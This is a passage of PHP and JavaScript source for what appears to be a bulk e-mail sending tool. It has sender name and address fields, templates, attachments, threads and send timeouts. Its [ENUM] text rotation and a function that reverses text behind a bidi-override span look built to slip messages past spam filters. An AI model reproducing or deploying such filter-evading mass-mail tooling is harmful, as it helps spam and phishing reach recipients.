'+AddNum+'"> <div class="input-append"><span class="add-on"><span class="addfield" onclick="AddField(this)">+</span></span>'); $(object).parent().parent().remove(); AddNum++; } function SaveData() { $("#LoadSaveDialog").find("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?savedata").load(function(){ $("#LoadSaveDialog").find("iframe").unbind("load"); var data="[FROM-NAME]"+$("#fromname").val()+"\n"+"[FROM-EMAIL]"+$("#frommail").val()+"\n"+"[THEME]"+$("#tema").val()+"\n"+"[TYPE]"+$("#type").val()+"\n"; $(".additional").each(function(index, value){ data+="[ADD"+index+"]"+$(value).val()+"\n"; }); if(attachedFiles.length!=0) data+='[FILES]'+JSON.stringify(attachedFiles)+"\n"; data+="[TEXT]"+$("#text").val().replaceAll("&","&"); $("textarea",$(this).contents()).val(data); $("form",$(this).contents()).submit(); }); } function loadsave(data) { var content=data.split("[TEXT]"); $("#text").val(content[1].replaceAll("&","&")); content=content[0].split("\n"); for(var i in content) { if(content[i].indexOf("[FROM-NAME]")!=-1) { content[i]=content[i].replace("[FROM-NAME]",""); $("#fromname").val(content[i]); } else if(content[i].indexOf("[FROM-EMAIL]")!=-1) { content[i]=content[i].replace("[FROM-EMAIL]",""); $("#frommail").val(content[i]); } else if(content[i].indexOf("[THEME]")!=-1) { content[i]=content[i].replace("[THEME]",""); $("#tema").val(content[i]); } else if(content[i].indexOf("[TYPE]")!=-1) { content[i]=content[i].replace("[TYPE]",""); $("#type [value='"+content[i]+"']").attr("selected", "selected"); } else if(content[i].indexOf("[FILES]")!=-1) { content[i]=content[i].replace("[FILES]",""); attachedFiles=$.parseJSON(content[i]); updateFileList(); } else if(content[i].indexOf("[ADD")!=-1) { var result=/\[ADD(\d+)\]/.exec(content[i]); if(AddNum<=result[1]) { AddField($(".addfield:last")); } content[i]=content[i].replace(result[0],""); $("#additional"+result[1]).val(content[i]); } } TogleLoadSave(); } $(document).ready(function(){ $("#prime, .prime-button").click(function(){ $(".section-screen").hide(); $("#prime-screen").show(); }); $("#help").click(function(){ $(".section-screen").hide(); $("#help-screen").show(); }); $("#settings").click(function(){ $(".section-screen").hide(); $("#settings-screen").show(); }); $(".btn-checkbox").click(function() { if($(this).hasClass("btn-success")) { $($(this).attr("data-toggle")).prop("checked",false); $(this).removeClass("btn-success").addClass("btn-danger").children("i").removeClass("icon-ok").addClass("icon-remove"); } else { $($(this).attr("data-toggle")).prop("checked",true); $(this).removeClass("btn-danger").addClass("btn-success").children("i").removeClass("icon-remove").addClass("icon-ok"); } }); alexusRange.create($("#TIMEOUT_RANGE")); alexusRange.change($("#TIMEOUT_RANGE"),function(range) { isetTimeout(alexusRange.get($(range))); $("#TIMEOUT").val(timeoutNum); }); $("#TIMEOUT").keyup(function() { isetTimeout($(this).val()); alexusRange.set($("#TIMEOUT_RANGE"),timeoutNum); }); alexusRange.set($("#TIMEOUT_RANGE"),timeoutNum); $("[rel=tooltip]").tooltip(); ShowThreads(); }); function isetTimeout(val) { var newTimeout=parseInt(val); if(newTimeout<0) timeoutNum=0; else if(newTimeout>14400) timeoutNum=14400; else timeoutNum=newTimeout; } function MakeBold() { wrapText("text","<b>","</b>"); } function MakeItalic() { wrapText("text","<i>","</i>"); } function MakeUnderline() { wrapText("text","<u>","</u>"); } function ReplaceEnum(data, increase) { if(increase==null) increase=true; var reg = /\[ENUM:([^\[\]]+?)\]/i; var new_data=data; var found=reg.exec(new_data); var cenumer=enumer; if(increase) enumer++; while(found!=null) { var enum_array=found[1].split("|"); if(cenumer>=enum_array.length) cenumer=cenumer%(enum_array.length); new_data=new_data.replaceAll(found[0], enum_array[cenumer]) found=reg.exec(new_data); } return new_data; } function MakeReverse() { var textArea = $("#text"); var len = textArea[0].value.length; var start = textArea[0].selectionStart; var end = textArea[0].selectionEnd; var selectedText = textArea[0].value.substring(start, end); selectedText=selectedText.split("").reverse().join(""); var replacement = "<span style=\"direction: rtl;unicode-bidi: bidi-override;\">" + selectedText + "</span>"; textArea[0].value=textArea[0].value.substring(0, start) + replacement + textArea[0].value.substring(end, len); } function wrapText(elementID, openTag, closeTag) { var textArea = $('#' + elementID); var len = textArea[0].value.length; var start = textArea[0].selectionStart; var end = textArea[0].selectionEnd; var selectedText = textArea[0].value.substring(start, end); var replacement = openTag + selectedText + closeTag; textArea[0].value=textArea[0].value.substring(0, start) + replacement + textArea[0].value.substring(end, len); } function showPreviewWindow(link) { $("#preview-screen").find("iframe").attr("src", link); $(".section-screen").hide(); $("#preview-screen").show(); $(window).scrollTop(0); } var alexusRange={ mouseX:0, newX:0, rangeCounter:0, changeHandlers:{}, create:function(range) { $(range).addClass("alexus-range").addClass("well").append('<div class="crange"></div><div class="range-controller btn"></div>'); if(alexusRange.rangeCounter==0) $(document).mouseup(alexusRange.mouseupHandler); $(range).children(".range-controller").mousedown(alexusRange.mousedownHandler); alexusRange.rangeCounter++; $(range).attr("ruqid",alexusRange.rangeCounter); }, RangeMouseMoveHandler:function(e) { if(alexusRange.mouseX==0) alexusRange.mouseX=e.pageX; alexusRange.newX=e.pageX if(e.pageX!=alexusRange.mouseX) $(".alexus-range .range-controller[state=inmove]").each(function() { var max_pos=parseInt($(this).parent().css("width"))-parseInt($(this).css("width"))-2; var cur_pos=parseInt($(this).css("margin-left")); var delta=alexusRange.mouseX-alexusRange.newX; if(cur_pos-delta<0) cur_pos=0; else if(cur_pos-delta>max_pos) cur_pos=max_pos; else cur_pos-=delta; $(this).css("margin-left", cur_pos); $(this).parent().children(".crange").css("width",parseInt(cur_pos/(max_pos/100))+"%"); if(alexusRange.changeHandlers[alexusRange.uniqueId($(this).parent())]!=undefined) alexusRange.changeHandlers[alexusRange.uniqueId($(this).parent())]($(this).parent()); }); alexusRange.mouseX=alexusRange.newX; }, change:function(range, handler) { alexusRange.changeHandlers[alexusRange.uniqueId($(range))]=handler; }, mousedownHandler:function() { $(this).attr("state","inmove"); $(document).mousemove(alexusRange.RangeMouseMoveHandler); }, mouseupHandler:function() { $(".alexus-range .range-controller[state=inmove]").attr("state","relax"); $(document).unbind("mousemove", alexusRange.RangeMouseMoveHandler); alexusRange.ResetPos(); }, ResetPos:function() { alexusRange.mouseX=0; }, get:function(range) { var max_pos=parseInt($(range).css("width"))-parseInt($(range).children(".range-controller").css("width"))-2; var cur_pos=parseInt($(range).children(".range-controller").css("margin-left")); var max_val=parseInt($(range).attr("max")); var min_val=parseInt($(range).attr("min")); return parseInt((max_val-min_val)*(cur_pos/max_pos))+min_val; }, set:function(range, val) { var max_pos=parseInt($(range).css("width"))-parseInt($(range).children(".range-controller").css("width"))-2; var cur_pos=parseInt($(range).children(".range-controller").css("margin-left")); var max_val=$(range).attr("max"); var min_val=$(range).attr("min"); var pos=parseInt(max_pos*(((val-min_val)/(max_val-min_val)))); if(pos<0) pos=0; else if(pos>max_pos) pos=max_pos; $(range).children(".range-controller").css("margin-left",pos); $(range).children(".crange").css("width",parseInt(pos/(max_pos/100))+"%"); }, uniqueId:function(range) { return $(range).attr("ruqid"); } } function setLang(code) { if(code=='ru') { setCookie('translation','ru',{path:"/"}); document.location.reload(); } else { setCookie('translation',code,{path:"/"}); document.location="/"+code+"/"; document.location.reload(); } } function setCookie(name, value, props) { props = props || {} var exp = props.expires if (typeof exp == "number" && exp) { var d = new Date() d.setTime(d.getTime() + exp*1000) exp = props.expires = d } if(exp && exp.toUTCString) { props.expires = exp.toUTCString() } value = encodeURIComponent(value) var updatedCookie = name + "=" + value for(var propName in props){ updatedCookie += "; " + propName var propValue = props[propName] if(propValue !== true){ updatedCookie += "=" + propValue } } document.cookie = updatedCookie } String.prototype.replaceAll = function(search, replace){ return this.split(search).join(replace); } var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} </script> </head> <body> <div class="modal hide fade" id="univarsalUpload"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h3><?php tr('attachfile');?></h3> </div> <div class="modal-body"> <iframe src="<?php print $_SERVER['PHP_SELF'];?>?upload_universal" width="260px" height="80px" frameborder="0"></iframe> </div> <div class="modal-footer"> <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a> <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a> </div> </div> <div class="modal hide fade" id="FileUploadDialog"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h3><?php tr('uploadlist');?></h3> </div> <div class="modal-body"> <iframe src="<?php print $_SERVER['PHP_SELF'];?>?upload_form" width="260px" height="80px" frameborder="0"></iframe> </div> <div class="modal-footer"> <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a> <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a> </div> </div> <div class="modal hide fade" id="LoadSaveDialog"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h3><?php tr('uploadtemplate');?></h3> </div> <div class="modal-body"> <iframe src="<?php print $_SERVER['PHP_SELF'];?>?loadsave" width="260px" height="80px" frameborder="0"></iframe> </div> <div class="modal-footer"> <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a> <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a> </div> </div> <div class="container"> <div class="row"> <div class="span12"> <div class="navbar"> <div class="navbar-inner"> <a class="brand" href="#" id="hello"><?php tr('name');?> <?php echo VERSION;?></a> <ul class="nav"> <li><a href="#prime" id="prime"><img alt="Главная" src="data:image/png;base64,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"></a></li> <li><a href="#help" id="help"><img alt="Помощь" src="data:image/png;base64,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"></a></li> <li><a href="#settings" id="settings"><img alt="Настройки" src="data:image/png;base64,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"></a></li> </ul> <ul class="nav pull-right"> <li><a href="#" onclick="setLang('ru');return false"> <img alt="русский" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAABSlBMVEUAAAD///8AAQEAAQEAAQEAAQEAAQHT09PX19fa2trc3Nze3t7f39/Ozs719fX5+fn8/Pz9/f3+/v7+/v7+/v7+/v7+/v7ExMTz8/P4+Pj7+/v9/f3+/v7Dw8Py8vL4+Pj8/Pz9/f3CwsLw8PD39/f5+fn6+vr7+/sCAsA9Pe08PPU8PPc8PPg8PPkCAr8zM+syMvIyMvUyMvYxMfYCAr0oKOgnJ/AnJ/MnJ/QnJ/QCArslJeYnJ+4nJ/AnJ/EmJvICAroVFeEVFeoVFe0VFe4VFe+4AgLgERHoERHqERHrEBDsEBC2AgLdDQ3lDAzoDAzqDQ21AgLZCAjjCAjmCQnnCQnoCAizAgLXBQXfBQXjBQXkBQXlBQWzBQXVBwfbCAjhEBDjFhbmGxvlHBzmHx/mICDmISG4DAy5EBC9ERHAERHCERHDERHEERHpaBTVAAAAB3RSTlMAAAQMECQwISWBWgAAAGZJREFUKFPNjUEKgDAMBHdr0kP//1dBxdhIW1qoF0FwjjNkA3wPg4JOM+ZgF0ZWqnUOYRoPSlwF+WLXIWwxbwmUvtYHtTvE6dQvAnpK0HdTNVolh9Rsd2DgEsbPpZ4MnAabaic8eFyiFV6rXRgALgAAAABJRU5ErkJggg==" /> </a></li> <li><a href="#" onclick="setLang('en');return false"> <img alt="english" 